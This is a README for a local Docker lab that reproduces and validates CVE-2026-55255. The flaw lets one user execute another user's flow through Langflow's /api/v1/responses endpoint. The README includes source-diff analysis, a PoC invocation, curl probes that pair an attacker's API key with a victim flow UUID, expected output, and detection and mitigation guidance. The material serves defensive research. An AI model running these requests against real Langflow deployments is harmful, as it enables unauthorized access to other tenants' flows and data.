
/api/v1/responsesThis repository contains a local Docker lab for reproducing and validating CVE-2026-55255, an Insecure Direct Object Reference (IDOR) vulnerability affecting Langflow's OpenAI-compatible Responses API.
Langflow is an open-source platform for building and deploying AI-powered agents and workflows. The vulnerable behavior affects the /api/v1/responses endpoint, where an authenticated attacker can provide another user's flow UUID as the model value and cause Langflow to execute that victim-owned flow.
This lab compares two Langflow versions:
| Service | Langflow version | Purpose | URL |
|---|---|---|---|
| vuln | 1.9.0 | Vulnerable comparison target | http://localhost:7860 |
| patched | 1.9.1 | Patched comparison target | http://localhost:7861 |
The demonstrated HTTP validation path in this local lab is:
Authenticated attacker API key
→ POST /api/v1/responses
→ request body sets model to victim-owned flow UUID
→ vulnerable target executes the victim-owned flow
→ patched target returns flow_not_found and does not execute the victim-owned flow
In the vulnerable target, the attacker-owned API key can execute the victim-owned flow and the response contains the victim-only marker:
VICTIM_ONLY_CONTEXT_55255_VULN
In the patched target, the same cross-user request does not return the victim marker and returns an OpenAI-style error body:
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
This lab validates the vulnerable-versus-patched HTTP behavior using Langflow 1.9.0 and Langflow 1.9.1.
The lab is intentionally scoped to local Docker services. It does not target external systems and does not include credential theft, database dumping, destructive payloads, external callbacks, malware, persistence, or post-exploitation activity.
This lab uses Langflow 1.9.0 as the vulnerable comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 identifies versions before 1.9.1 as affected, and local testing confirmed the vulnerable behavior in 1.9.0.
This lab uses Langflow 1.9.1 as the patched comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 lists 1.9.1 as the patched version, and local testing confirmed that 1.9.1 blocks the tested cross-user /api/v1/responses execution path with flow_not_found.
There is a version discrepancy between sources. GitHub and GitLab advisories list versions before 1.9.1 as affected and 1.9.1 as fixed. Some downstream vulnerability intelligence pages mention 1.9.2 or contain mixed wording around the fixed version. This repository documents that discrepancy and validates the tested behavior directly:
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
This lab assumes the attacker already knows a victim flow UUID. The PoC does not brute-force flow IDs, enumerate flows, or attempt to discover victim flow IDs.
This lab focuses on the observable HTTP behavior of:
POST /api/v1/responses
with this request shape:
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
The lab demonstrates unauthorized cross-user flow execution in the vulnerable target and blocked behavior in the patched target.
The lab does not demonstrate:
The root cause of CVE-2026-55255 is an authorization gap in Langflow's flow resolution logic.
The /api/v1/responses endpoint accepts a flow UUID through the model field. In vulnerable versions, the UUID lookup path inside get_flow_by_id_or_endpoint_name() could load a Flow object directly by primary key without enforcing that the resolved Flow.user_id matched the authenticated API-key user.
The vulnerable behavior can be summarized as:
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads Flow by UUID
→ resolver does not enforce Flow.user_id == attacker_user.id
→ response endpoint executes the victim-owned flow
→ attacker receives victim flow output
The patched behavior can be summarized as:
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
The security issue is not that the attacker can call /api/v1/responses with their own flows. That is expected behavior. The issue is that a low-privileged authenticated user can cause the endpoint to execute a flow owned by another user when the victim flow UUID is supplied.
The security lesson is:
Object lookup by UUID is not authorization.
Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
The source-level issue was confirmed by comparing Langflow v1.9.0 and v1.9.1.
The checked source tags used for review were:
| Version | Git commit |
|---|---|
| v1.9.0 | a47f2ad17eb662e940c550cfccb64a87dddd7e0b |
| v1.9.1 | dc26d19c1ed5b2779a3a759f78a747f47089c534 |
The relevant helper is:
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
In the vulnerable UUID branch, the flow was loaded by ID:
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
The security-relevant missing check was:
flow.user_id == authenticated_user.id
Without that owner check, a valid flow UUID was enough to resolve a Flow object even if it belonged to another user.
The patched version adds normalization of user_id and enforces owner scoping on the UUID path:
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
The important behavior is:
if the flow exists
and the flow belongs to another user
then treat it as not found
This is why the patched lab response returns:
{"error":{"code":"flow_not_found"}}
instead of executing the victim-owned flow.
For this lab, the primary vulnerable behavior is the /api/v1/responses execution path reaching get_flow_by_id_or_endpoint_name() and resolving a victim-owned flow UUID without enforcing ownership.
The patch also hardens related flow execution routes. In endpoints.py, routes that previously used the raw helper as a FastAPI dependency were changed from:
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
to authenticated wrappers such as:
async def get_flow_for_api_key_user(
flow_id_or_name: str,
api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> FlowRead:
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
Those wrapper changes are related hardening for other flow execution routes such as /api/v1/run*. They ensure that the helper receives the authenticated user ID instead of relying on a plain request parameter. The core fix demonstrated by this lab remains the resolver-side ownership check inside get_flow_by_id_or_endpoint_name().
The source-level fix therefore has two related parts:
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 hardens the vulnerable flow resolution path by treating cross-user lookups as not found and by ensuring related flow execution routes pass authenticated user context into the resolver.
The core patched logic is:
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
The patch also adds authenticated wrapper dependencies for routes that need to resolve flows:
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
The security-relevant change is:
Before:
flow UUID
→ session.get(Flow, flow_id)
→ Flow object returned without owner scoping
→ downstream execution path can run victim-owned flow
After:
flow UUID
→ session.get(Flow, flow_id)
→ compare Flow.user_id with authenticated user id
→ cross-user result becomes None
→ shared not-found behavior fires
→ victim-owned flow is not executed
The patch also reduces information disclosure. Cross-user access is treated as not found rather than returning a distinct authorization response that could reveal whether another user's flow exists.
This lab keeps source review and runtime validation separate:
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
The lab runs two isolated Langflow targets through Docker Compose.
.
├── docker-compose.yml
├── poc/
│ └── validate_idor.py
├── seed/
│ ├── Dockerfile
│ └── seed.py
├── src/
│ ├── langflow-1.9.0/
│ └── langflow-1.9.1/
├── state/
│ ├── patched.json
│ ├── patched.ready
│ ├── vuln.json
│ └── vuln.ready
└── README.md
The state/ files are generated by the seed services during lab startup. The src/ directory contains the checked-out Langflow source trees used for source-diff verification.
The two Langflow services use separate application versions and separate in-container SQLite databases:
Default exposed services:
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
The lab uses pinned Langflow images:
| Target | Langflow version | Expected behavior |
|---|---|---|
| http://localhost:7860 | 1.9.0 | attacker API key can execute victim-owned flow |
| http://localhost:7861 | 1.9.1 | cross-user victim flow execution is blocked |
The seed services run automatically during:
docker compose up --build --wait
They create:
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
The seed-generated state/*.json files provide disposable local test values such as API keys and flow UUIDs.
The PoC does not read state/*.json. The user supplies the target URL, API key, flow ID, and optional expected marker through command-line arguments.
The lab does not create or modify the vulnerable /api/v1/responses route. That route is provided by Langflow.
--wait supportjq for the convenience commands in this READMENo Python third-party package is required for the PoC. The PoC uses Python standard library modules only.
The seed container installs the Python requests package internally. That package is used only by the seed services during lab setup, not by the PoC.
Start the lab from a clean state:
docker compose down -v --remove-orphans
find state -type f \( -name "*.json" -o -name "*.ready" \) -delete
docker compose up --build --wait
Check service status:
docker compose ps
Expected healthy services:
cve-2026-55255-vuln
cve-2026-55255-patched
cve-2026-55255-seed-vuln
cve-2026-55255-seed-patched
Expected exposed targets:
http://localhost:7860
http://localhost:7861
Check seed state files:
ls -la state
cat state/vuln.json | jq .
cat state/patched.json | jq .
Expected files:
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
Run request-based validation against the vulnerable target:
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Run request-based validation against the patched target:
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
The PoC accepts a target URL, an API key, a flow ID, and an optional expected marker:
python3 poc/validate_idor.py \
--url <target_url> \
--api-key <api_key> \
--flow-id <target_flow_id> \
--expect-marker <expected_output_marker>
Required options:
| Option | Meaning |
|---|---|
--url | Langflow base URL |
--api-key | API key used in the x-api-key header |
--flow-id |
Optional options:
| Option | Meaning |
|---|---|
--expect-marker | Marker expected in the response if the target flow executes |
The PoC sends this HTTP request:
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
Request body:
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
The PoC is request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, container APIs, or Langflow seed APIs.
In this lab, state/*.json can be used to copy the disposable local API keys and flow IDs into the PoC command. The PoC itself does not depend on those files. The API keys in state/*.json are disposable local lab keys; do not use real production API keys in these commands.
Command:
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Expected vulnerable target signal:
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7860
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7860/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : True
expected marker : VICTIM_ONLY_CONTEXT_55255_VULN
marker found : True
[BODY]
... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
========================================================================================
[CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned.
FINAL: VULNERABLE_BEHAVIOR_OBSERVED
The important vulnerable signal is:
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
Command:
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Expected patched target signal:
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
The important patched signal is:
attacker API key
+ victim flow UUID
+ no victim marker
+ error.code = flow_not_found
If --expect-marker is omitted and the target returns a completed Langflow response, the PoC reports:
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
This means the target flow executed, but the PoC cannot prove by itself that the supplied flow ID belongs to another user. Ownership must be confirmed through lab seed data, source of the flow ID, or other authorized evidence.
The validator sends one HTTP POST request to the Langflow Responses API endpoint:
/api/v1/responses
The request uses the supplied API key:
x-api-key: <attacker-api-key>
The request body uses the supplied flow UUID as the model value:
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Expected vulnerable behavior:
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
Expected patched behavior:
request does not execute victim-owned flow
response does not contain victim marker
response indicates flow_not_found
In this lab, Langflow 1.9.1 returns HTTP 200 with an OpenAI-style JSON error object:
{"error":{"code":"flow_not_found"}}
This is why the PoC checks the JSON error code instead of assuming the HTTP transport status must be 404.
The PoC intentionally validates only the cross-user flow execution condition. It does not attempt to discover flow IDs, brute-force UUIDs, enumerate users, extract secrets, or trigger external services.
The lab seed writes disposable local values into state/*.json. These commands use those local values to build curl requests. The state files are lab-only artifacts.
Vulnerable probe:
curl -i -sS -X POST \
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
Expected vulnerable result:
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
Patched probe:
curl -i -sS -X POST \
"$(jq -r '.public_url' state/patched.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
Expected patched result:
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 is security-sensitive in multi-user or multi-tenant Langflow deployments because one authenticated user may be able to execute another user's flow if the victim flow UUID is known.
Potential real-world impact depends on what the victim-owned flow does.
Possible impact may include:
The practical exploitability depends on whether the attacker can obtain a valid victim flow UUID. Flow UUID guessing is not the focus of this lab, and the PoC does not brute-force flow IDs.
This lab demonstrates only the safe authorization boundary failure:
attacker API key
+ victim flow UUID
+ victim-only marker returned
The lab does not demonstrate real data access, real secret access, LLM provider key abuse, external callbacks, or post-exploitation.
Potential indicators include authenticated requests to:
POST /api/v1/responses
Suspicious request pattern:
x-api-key belongs to user A
model contains flow UUID owned by user B
High-signal detection idea:
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
Possible application-layer logs or telemetry to review:
model value,flow_not_found responses,/api/v1/responses,Example vulnerable validation artifact:
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
status: completed
error: null
output contains victim-only marker
Example patched validation artifact:
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
Recommended monitoring actions:
/api/v1/responses.flow_not_found bursts against the Responses API.Upgrade Langflow to a fixed version.
GitHub Advisory GHSA-qrpv-q767-xqq2 lists Langflow 1.9.1 as patched for CVE-2026-55255. Some downstream vulnerability intelligence sources mention 1.9.2 or contain mixed wording around the fixed version. This lab validates that Langflow 1.9.1 blocks the tested /api/v1/responses cross-user execution path with flow_not_found. For production environments, update to the latest available Langflow release rather than stopping at the lab comparison version.
Recommended mitigation steps:
/api/v1/responses requests.Security engineering lessons:
This lab is for local security research and controlled demonstration only.
Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.
Do not use real production credentials, customer data, payment data, API keys, LLM provider keys, database credentials, or production secrets in this lab.
The intended scope is limited to local Docker services such as:
http://localhost:7860
http://localhost:7861
http://127.0.0.1:7860
http://127.0.0.1:7861
The PoC is intentionally request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, or container APIs.
The lab does not include payloads for:
The goal is to demonstrate one specific technical condition in a controlled environment:
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
CVE Record: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
GitHub Advisory: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
GitLab Advisory: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Langflow Pull Request: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Langflow OpenAI Responses API Documentation https://docs.langflow.org/api-openai-responses
Langflow API Keys and Authentication Documentation https://docs.langflow.org/api-keys-and-authentication
Langflow API Reference Examples https://docs.langflow.org/api-reference-api-examples
Langflow GitHub Repository https://github.com/langflow-ai/langflow
Langflow Docker Image https://hub.docker.com/r/langflowai/langflow
Tenable Plugin Note for GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659
Mondoo Vulnerability Intelligence: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255
| Claim | Evidence | How to verify in this lab |
|---|
CVE-2026-55255 affects Langflow's /api/v1/responses endpoint. | GitHub Advisory GHSA-qrpv-q767-xqq2 describes an IDOR in /api/v1/responses. | Review the References section and run the PoC against both local targets. |
GitHub Advisory lists affected versions as < 1.9.1 and patched version as 1.9.1. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Compare the vulnerable and patched target versions in docker-compose.yml. |
| Some downstream vulnerability sources disagree on the exact fixed version. | GitHub/GitLab list 1.9.1 as fixed; some downstream intelligence pages mention 1.9.2 or contain mixed wording. | Review the References section and rely on the lab validation for the tested 1.9.1 behavior. |
| This lab uses Langflow 1.9.0 as the vulnerable comparison target. | The vuln service uses langflowai/langflow:1.9.0. | Inspect docker-compose.yml and run docker compose ps. |
| This lab uses Langflow 1.9.1 as the patched comparison target. | The patched service uses langflowai/langflow:1.9.1. | Inspect docker-compose.yml and run docker compose ps. |
Langflow's Responses API uses POST /api/v1/responses. | Langflow documentation describes the OpenAI-compatible Responses API endpoint. | Run the PoC or manual curl request against /api/v1/responses. |
Langflow's Responses API accepts a flow ID as the model value. | Langflow documentation states that the model value is replaced with a flow_id. | Inspect the PoC request body. |
Langflow API requests require an API key through x-api-key. | Langflow API documentation describes API key authentication with the x-api-key header. | Inspect the PoC request headers. |
| The PoC is request-based. | poc/validate_idor.py sends HTTP requests and does not call Docker, Docker Compose, shell commands, or container APIs. | Inspect poc/validate_idor.py. |
| The vulnerable target executes a victim-owned flow with an attacker-owned API key. | The vulnerable response returns VICTIM_ONLY_CONTEXT_55255_VULN. | Run the vulnerable PoC command with the victim flow ID and attacker API key. |
| The patched target blocks the same cross-user execution path. | The patched response returns error.code = flow_not_found and does not return the victim marker. | Run the patched PoC command with the victim flow ID and attacker API key. |
| Service | Component | Version / Role |
|---|
| vuln | Langflow | vulnerable target application |
| patched | Langflow | patched comparison application |
| seed-vuln | Python | creates local users, API keys, flows |
| seed-patched | Python | creates local users, API keys, flows |
Flow UUID used as the model value |